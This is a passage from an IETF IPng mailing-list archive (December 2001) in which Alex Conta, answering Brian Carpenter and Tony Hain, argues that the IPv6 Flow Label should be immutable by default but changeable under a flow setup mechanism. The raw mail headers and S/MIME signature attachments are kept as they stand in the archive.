<878zbp8vh7.fsf@snark.piermont.com> <3C2B2103.1B167487@hursley.ibm.com> <3C2B41B4.2EF8D01B@hursley.ibm.com> Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms3B04C142FB22F6F5D06DE758" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a cryptographically signed message in MIME format. --------------ms3B04C142FB22F6F5D06DE758 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Making the field "immutable" by "default", but "mutable" when a router is so instructed by a flow setup and flow processing mechanism is a compromise that would satisfy all current and future possible cases. Therefore I think last sentence of the first paragraph All routers MUST pass the field on unchanged when forwarding a packet. should be something like: All routers MUST leave the field unchanged, by default, when forwarding a packet. A specific flow setup/processing mechanism MAY give a "mutable" character to the field, by requesting routers, supporting the mechanism, to change the field in certain ways. Routers supporting such a mechanism MUST follow the steps indicated by the flow setup and flow processing mechanism. Alex Brian E Carpenter wrote: > > Taking Scott's suggestion, here's another try: > > I'd like to propose the following as the > complete and total replacement of Section 6 of RFC 2460. > > The 20-bit Flow Label field in the IPv6 header MAY be set by a > source to uniquely label sets of packets. Nodes that do not support > the Flow Label field MUST set the field to zero when originating a > packet, and MUST ignore the field when receiving a packet. All routers > MUST pass the field on unchanged when forwarding a packet. > > This specification does not further define the meaning of the > Flow Label. > > [and delete Appendix A, which is unhelpful.] > > Brian > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- --------------ms3B04C142FB22F6F5D06DE758 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIIKQwYJKoZIhvcNAQcCoIIKNDCCCjACAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC B88wggSZMIIEAqADAgECAhBT22tjRO5Ts9MONqotvZFxMA0GCSqGSIb3DQEBBAUAMIHMMRcw FQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29y azFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9yZXBvc2l0b3J5L1JQQSBJbmNvcnAuIEJ5 IFJlZi4sTElBQi5MVEQoYyk5ODFIMEYGA1UEAxM/VmVyaVNpZ24gQ2xhc3MgMSBDQSBJbmRp dmlkdWFsIFN1YnNjcmliZXItUGVyc29uYSBOb3QgVmFsaWRhdGVkMB4XDTAxMTAwOTAwMDAw MFoXDTAyMTAwNDIzNTk1OVowggELMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UE CxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9y ZXBvc2l0b3J5L1JQQSBJbmNvcnAuIGJ5IFJlZi4sTElBQi5MVEQoYyk5ODEeMBwGA1UECxMV UGVyc29uYSBOb3QgVmFsaWRhdGVkMTMwMQYDVQQLEypEaWdpdGFsIElEIENsYXNzIDEgLSBO ZXRzY2FwZSBGdWxsIFNlcnZpY2UxEzARBgNVBAMUCkFsZXggQ29udGExHTAbBgkqhkiG9w0B CQEWDmFjb250YUB0eGMuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8pEA2sjg+ 0ynE9D2vtcBuy/TmA2NI6bhBQgSgmdHLYsI4ICXjR/im0tPg5Uc4BqnlFtf7U96XRalPp6a9 d6RAqwODEfrMo+UgOBwB5Ge+1DwrATDK5g1ycUmab1FCE/oCWKWp7ttKF01iFPMnv6X359uj pSYWP3pvNdr7JoA0+wIDAQABo4IBODCCATQwCQYDVR0TBAIwADCBrAYDVR0gBIGkMIGhMIGe BgtghkgBhvhFAQcBATCBjjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29t L0NQUzBiBggrBgEFBQcCAjBWMBUWDlZlcmlTaWduLCBJbmMuMAMCAQEaPVZlcmlTaWduJ3Mg Q1BTIGluY29ycC4gYnkgcmVmZXJlbmNlIGxpYWIuIGx0ZC4gKGMpOTcgVmVyaVNpZ24wEQYJ YIZIAYb4QgEBBAQDAgeAMDAGCmCGSAGG+EUBBgcEIhYgMjUzMTYxNzA3NGE1YTU1NzkzYzdl ODQyNjYxMjUwMjYwMwYDVR0fBCwwKjAooCagJIYiaHR0cDovL2NybC52ZXJpc2lnbi5jb20v Y2xhc3MxLmNybDANBgkqhkiG9w0BAQQFAAOBgQA0yPwnlaV3opZRses+UaAskkrPGC0jXwsu 7PKoN3dTKAd9UlWmZU1CBA3ZuoSGymYR+BLLDYdaLOJjKS3eWD5Xr5ips7id3QankOYYGwKO DoHj5EcX/VBCewZ1r54Py3WehHZ08/h/HVOaQDZNOUK6331mZJBXcYwlk71xgTPuPTCCAy4w ggKXoAMCAQICEQDSdi6NFAw9fbKoJV2v7g11MA0GCSqGSIb3DQEBAgUAMF8xCzAJBgNVBAYT AlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xhc3MgMSBQdWJsaWMg UHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw05ODA1MTIwMDAwMDBaFw0wODA1 MTIyMzU5NTlaMIHMMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNp Z24gVHJ1c3QgTmV0d29yazFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9yZXBvc2l0b3J5 L1JQQSBJbmNvcnAuIEJ5IFJlZi4sTElBQi5MVEQoYyk5ODFIMEYGA1UEAxM/VmVyaVNpZ24g Q2xhc3MgMSBDQSBJbmRpdmlkdWFsIFN1YnNjcmliZXItUGVyc29uYSBOb3QgVmFsaWRhdGVk MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC7WkSKBBa7Vf0DeootlE8VeDa4DUqyb5xU v7zodyqdufBou5XZMUFweoFLuUgTVi3HCOGEQqvAopKrRFyqQvCCDgLpL/vCO7u+yScKXbaw NkIztW5UiE+HSr8Z2vkV6A+HthzjzMaajn9qJJLj/OBluqexfu/J2zdqyErICQbkmQIDAQAB o3wwejARBglghkgBhvhCAQEEBAMCAQYwRwYDVR0gBEAwPjA8BgtghkgBhvhFAQcBATAtMCsG CCsGAQUFBwIBFh93d3cudmVyaXNpZ24uY29tL3JlcG9zaXRvcnkvUlBBMA8GA1UdEwQIMAYB Af8CAQAwCwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBAgUAA4GBAIi4Nzvd2pQ3AK2qn+GBAXEe kmptL/bxndPKZDjcG5gMB4ZbhRVqD7lJhaSV8Rd9Z7R/LSzdmkKewz60jqrlCwbe8lYq+jPH vhnXU0zDvcjjF7WkSUJj7MKmFw9dWBpJPJBcVaNlIAD9GCDlX4KmsaiSxVhqwY0DPOvDzQWi kK5uMYICPDCCAjgCAQEwgeEwgcwxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQL ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMUYwRAYDVQQLEz13d3cudmVyaXNpZ24uY29tL3Jl cG9zaXRvcnkvUlBBIEluY29ycC4gQnkgUmVmLixMSUFCLkxURChjKTk4MUgwRgYDVQQDEz9W ZXJpU2lnbiBDbGFzcyAxIENBIEluZGl2aWR1YWwgU3Vic2NyaWJlci1QZXJzb25hIE5vdCBW YWxpZGF0ZWQCEFPba2NE7lOz0w42qi29kXEwCQYFKw4DAhoFAKCBsTAYBgkqhkiG9w0BCQMx CwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wMTEyMzAxNzM0NDZaMCMGCSqGSIb3DQEJ BDEWBBSHV+wqJd4r4fTyJ2u1ScpcFAsMkjBSBgkqhkiG9w0BCQ8xRTBDMAoGCCqGSIb3DQMH MA4GCCqGSIb3DQMCAgIAgDAHBgUrDgMCBzANBggqhkiG9w0DAgIBQDANBggqhkiG9w0DAgIB KDANBgkqhkiG9w0BAQEFAASBgLTh0A0bkmZG6wKiXwbm+u/kwG1wWmFsLT1GtvQEdShRGlNY CPx1AWQXM/ewZiyscQF+hQ4Y9a6FXCHOIDsdpijcJVXezwNE0tlHUwVcOQjNLxYu2VZbxK97 lP0h7sn9qnRJ7sq2+lpmWtLTjYfUIC3pxhRF5/z0nYU1cW73NRr1 --------------ms3B04C142FB22F6F5D06DE758-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 30 09:46:19 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBUHkJZR025192 for ; Sun, 30 Dec 2001 09:46:19 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBUHkJxB025191 for ipng-dist; Sun, 30 Dec 2001 09:46:19 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBUHkGZR025184 for ; Sun, 30 Dec 2001 09:46:16 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA14693 for ; Sun, 30 Dec 2001 09:46:15 -0800 (PST) Received: from mailhub.txc.com (transfire.txc.com [208.5.237.254]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA20058 for ; Sun, 30 Dec 2001 09:46:14 -0800 (PST) Received: from jade.txc.com (jade.txc.com [198.138.97.40]) by mailhub.txc.com (8.9.3/8.9.3) with SMTP id MAA03076; Sun, 30 Dec 2001 12:48:43 -0500 Received: from txc.com by jade.txc.com (SMI-8.6/SMI-SVR4) id MAA03463; Sun, 30 Dec 2001 12:48:42 -0500 Message-ID: <3C2F534F.ECA782F2@txc.com> Date: Sun, 30 Dec 2001 12:47:59 -0500 From: Alex Conta X-Mailer: Mozilla 4.77 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Brian E Carpenter CC: Tony Hain , Muhammad Jaseemuddin , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <3C29CE2C.168EA3B3@hursley.ibm.com> Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------msCFDA770FADC81BFA247413D8" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a cryptographically signed message in MIME format. --------------msCFDA770FADC81BFA247413D8 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit The default behavior can be "immutable", which I think would satisfy the concerns I hear. But restricting all possible (including future ones) flow setup and flow processing mechanism to "immutability" is too much. Alex Brian E Carpenter wrote: > > Tony Hain wrote: > > > > Alex Conta wrote: > > > Furthermore, the > > > restriction has a detrimental effect on the subset of > > > applications that > > > could take advantage of a changing value. > > > > I am sorry, but those applications should be using the DSCP which is > > already mutable. If we allow the FL to be mutable, there will be no > > applications that can trust that it will immutable over any random > > network. You can't have it both ways. > > Exactly. And operators who break the immutability rule will penalise > their own customers by depriving them of e2e QOS. > > There was a reason diffserv chose to make the DSCP mutable, but the same reason > (QOS policies are ISP-specific) is why the flow label should be immutable. > > Brian --------------msCFDA770FADC81BFA247413D8 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIIKQwYJKoZIhvcNAQcCoIIKNDCCCjACAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC B88wggSZMIIEAqADAgECAhBT22tjRO5Ts9MONqotvZFxMA0GCSqGSIb3DQEBBAUAMIHMMRcw FQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29y azFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9yZXBvc2l0b3J5L1JQQSBJbmNvcnAuIEJ5 IFJlZi4sTElBQi5MVEQoYyk5ODFIMEYGA1UEAxM/VmVyaVNpZ24gQ2xhc3MgMSBDQSBJbmRp dmlkdWFsIFN1YnNjcmliZXItUGVyc29uYSBOb3QgVmFsaWRhdGVkMB4XDTAxMTAwOTAwMDAw MFoXDTAyMTAwNDIzNTk1OVowggELMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UE CxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9y ZXBvc2l0b3J5L1JQQSBJbmNvcnAuIGJ5IFJlZi4sTElBQi5MVEQoYyk5ODEeMBwGA1UECxMV UGVyc29uYSBOb3QgVmFsaWRhdGVkMTMwMQYDVQQLEypEaWdpdGFsIElEIENsYXNzIDEgLSBO ZXRzY2FwZSBGdWxsIFNlcnZpY2UxEzARBgNVBAMUCkFsZXggQ29udGExHTAbBgkqhkiG9w0B CQEWDmFjb250YUB0eGMuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8pEA2sjg+ 0ynE9D2vtcBuy/TmA2NI6bhBQgSgmdHLYsI4ICXjR/im0tPg5Uc4BqnlFtf7U96XRalPp6a9 d6RAqwODEfrMo+UgOBwB5Ge+1DwrATDK5g1ycUmab1FCE/oCWKWp7ttKF01iFPMnv6X359uj pSYWP3pvNdr7JoA0+wIDAQABo4IBODCCATQwCQYDVR0TBAIwADCBrAYDVR0gBIGkMIGhMIGe BgtghkgBhvhFAQcBATCBjjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29t L0NQUzBiBggrBgEFBQcCAjBWMBUWDlZlcmlTaWduLCBJbmMuMAMCAQEaPVZlcmlTaWduJ3Mg Q1BTIGluY29ycC4gYnkgcmVmZXJlbmNlIGxpYWIuIGx0ZC4gKGMpOTcgVmVyaVNpZ24wEQYJ YIZIAYb4QgEBBAQDAgeAMDAGCmCGSAGG+EUBBgcEIhYgMjUzMTYxNzA3NGE1YTU1NzkzYzdl ODQyNjYxMjUwMjYwMwYDVR0fBCwwKjAooCagJIYiaHR0cDovL2NybC52ZXJpc2lnbi5jb20v Y2xhc3MxLmNybDANBgkqhkiG9w0BAQQFAAOBgQA0yPwnlaV3opZRses+UaAskkrPGC0jXwsu 7PKoN3dTKAd9UlWmZU1CBA3ZuoSGymYR+BLLDYdaLOJjKS3eWD5Xr5ips7id3QankOYYGwKO DoHj5EcX/VBCewZ1r54Py3WehHZ08/h/HVOaQDZNOUK6331mZJBXcYwlk71xgTPuPTCCAy4w ggKXoAMCAQICEQDSdi6NFAw9fbKoJV2v7g11MA0GCSqGSIb3DQEBAgUAMF8xCzAJBgNVBAYT AlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xhc3MgMSBQdWJsaWMg UHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw05ODA1MTIwMDAwMDBaFw0wODA1 MTIyMzU5NTlaMIHMMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNp Z24gVHJ1c3QgTmV0d29yazFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9yZXBvc2l0b3J5 L1JQQSBJbmNvcnAuIEJ5IFJlZi4sTElBQi5MVEQoYyk5ODFIMEYGA1UEAxM/VmVyaVNpZ24g Q2xhc3MgMSBDQSBJbmRpdmlkdWFsIFN1YnNjcmliZXItUGVyc29uYSBOb3QgVmFsaWRhdGVk MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC7WkSKBBa7Vf0DeootlE8VeDa4DUqyb5xU v7zodyqdufBou5XZMUFweoFLuUgTVi3HCOGEQqvAopKrRFyqQvCCDgLpL/vCO7u+yScKXbaw NkIztW5UiE+HSr8Z2vkV6A+HthzjzMaajn9qJJLj/OBluqexfu/J2zdqyErICQbkmQIDAQAB o3wwejARBglghkgBhvhCAQEEBAMCAQYwRwYDVR0gBEAwPjA8BgtghkgBhvhFAQcBATAtMCsG CCsGAQUFBwIBFh93d3cudmVyaXNpZ24uY29tL3JlcG9zaXRvcnkvUlBBMA8GA1UdEwQIMAYB Af8CAQAwCwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBAgUAA4GBAIi4Nzvd2pQ3AK2qn+GBAXEe kmptL/bxndPKZDjcG5gMB4ZbhRVqD7lJhaSV8Rd9Z7R/LSzdmkKewz60jqrlCwbe8lYq+jPH vhnXU0zDvcjjF7WkSUJj7MKmFw9dWBpJPJBcVaNlIAD9GCDlX4KmsaiSxVhqwY0DPOvDzQWi kK5uMYICPDCCAjgCAQEwgeEwgcwxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQL ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMUYwRAYDVQQLEz13d3cudmVyaXNpZ24uY29tL3Jl cG9zaXRvcnkvUlBBIEluY29ycC4gQnkgUmVmLixMSUFCLkxURChjKTk4MUgwRgYDVQQDEz9W ZXJpU2lnbiBDbGFzcyAxIENBIEluZGl2aWR1YWwgU3Vic2NyaWJlci1QZXJzb25hIE5vdCBW YWxpZGF0ZWQCEFPba2NE7lOz0w42qi29kXEwCQYFKw4DAhoFAKCBsTAYBgkqhkiG9w0BCQMx CwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wMTEyMzAxNzQ4MDFaMCMGCSqGSIb3DQEJ BDEWBBTRDVNFYVLIAJKYGA2hesl+qrEOqDBSBgkqhkiG9w0BCQ8xRTBDMAoGCCqGSIb3DQMH MA4GCCqGSIb3DQMCAgIAgDAHBgUrDgMCBzANBggqhkiG9w0DAgIBQDANBggqhkiG9w0DAgIB KDANBgkqhkiG9w0BAQEFAASBgFds+reUITgzFQWhv2I/ye98WiAbKPqbQKmVKr9ZF0vIR/0h VXLGglMFhw1mwkxC7X3KqRGv8iSGH/Pb6eqvFI3z/c3NxavX9NACcue42iCNXKHgkB6BOKF/ dIJFJUWqIP0X6IA1ruo2PgbOSj7diUySXgQ1lEGL1f8dJxLH9L6g --------------msCFDA770FADC81BFA247413D8-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com --------------------------------------------------------------------